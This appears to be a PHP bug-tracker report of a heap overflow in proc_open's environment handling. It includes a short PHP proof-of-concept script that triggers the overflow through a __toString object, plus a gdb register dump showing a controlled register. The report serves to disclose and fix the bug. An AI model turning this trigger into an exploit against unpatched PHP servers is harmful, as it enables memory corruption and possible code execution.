|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
[2016-06-13 05:03 UTC] stas@php.net
-Type: Security
+Type: Bug
[2016-06-13 05:03 UTC] stas@php.net
[2016-06-13 13:08 UTC] laruence@php.net
[2016-06-13 13:08 UTC] laruence@php.net
-Status: Open
+Status: Closed
[2016-06-22 05:58 UTC] krakjoe@php.net
[2016-07-20 11:30 UTC] davey@php.net
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Thu Oct 30 22:00:01 2025 UTC |
Description: ------------ The bug is in ext\standard\proc_open.c in the `_php_array_to_envp` function. Tested in PHP 7.0.7 but 5.6.x seems vulnerable too (not sure when the bug was introduced). This function basically iterates over each element of the $env array passed to proc_open(), and calculates the total size needed for a heap buffer to hold them. It does this by using zval_get_string() on each element. Later on, after allocating the buffer, it iterates over the elements again, calls zval_get_string() on each again, and memcpy's them to the buffer. The problem is of course that if the element is an object defining __toString(), zval_get_string() is not guaranteed to return a string of the same length for each invocation. The fix would probably be to do the same that is done in other functions: only call zval_get_string() once for each element and re-use that result in the 2nd loop. On my test environment this leads to a heap overflow and a SIGSEGV in zend_objects_destroy_object with a controlled register. Test script: --------------- <?php class moo { function __construct() { $this->a = 0; } function __toString() { return $this->a++ ? str_repeat("a", 0x8000) : "a"; } } $env = array('some_option' => new moo()); $pipes = array(); $process = proc_open('nothing_here', array(), $pipes, NULL, $env); ?> Expected result: ---------------- PHP SIGSEGVs. The exact crash location might depend on the PHP build. Adjusting the 0x8000 value in the test script could lead to different crashes. Actual result: -------------- Program received signal SIGSEGV, Segmentation fault. zend_objects_destroy_object (object=0x7ffff1e5b618) at /php-7.0.7/Zend/zend_objects.c:90 90 if (destructor->op_array.fn_flags & (ZEND_ACC_PRIVATE|ZEND_ACC_PROTECTED)) { (gdb) info reg rax 0x6161616161616161 7016996765293437281 rbx 0x7ffff1e5b618 140737251751448 rcx 0x13 19 rdx 0x1 1 rsi 0x7ffff1e03018 140737251389464 rdi 0x7ffff1e5b618 140737251751448 rbp 0x7ffff1e5b618 0x7ffff1e5b618 rsp 0x7fffffffcd80 0x7fffffffcd80 r8 0x6000 24576 r9 0x4000 16384 r10 0x7ffff7fcba50 140737353923152 r11 0x246 582 r12 0xf2f770 15923056 r13 0x107cb20 17287968 r14 0x0 0 r15 0xf33af0 15940336 rip 0x76087d 0x76087d <zend_objects_destroy_object+45> eflags 0x10202 [ IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 (gdb) bt #0 zend_objects_destroy_object (object=0x7ffff1e5b618) at /php-7.0.7/Zend/zend_objects.c:90 #1 0x0000000000764f31 in zend_objects_store_call_destructors (objects=objects@entry=0xf2f770 <executor_globals+816>) at /php-7.0.7/Zend/zend_objects_API.c:54 #2 0x000000000071dc93 in shutdown_destructors () at /php-7.0.7/Zend/zend_execute_API.c:242 #3 0x000000000072c914 in zend_call_destructors () at /php-7.0.7/Zend/zend.c:952 #4 0x00000000006cfaa5 in php_request_shutdown (dummy=dummy@entry=0x0) at /php-7.0.7/main/main.c:1780 #5 0x00000000007b328a in do_cli (argc=4, argv=0xf33a50) at /php-7.0.7/sapi/cli/php_cli.c:1141 #6 0x0000000000432000 in main (argc=4, argv=0xf33a50) at /php-7.0.7/sapi/cli/php_cli.c:1344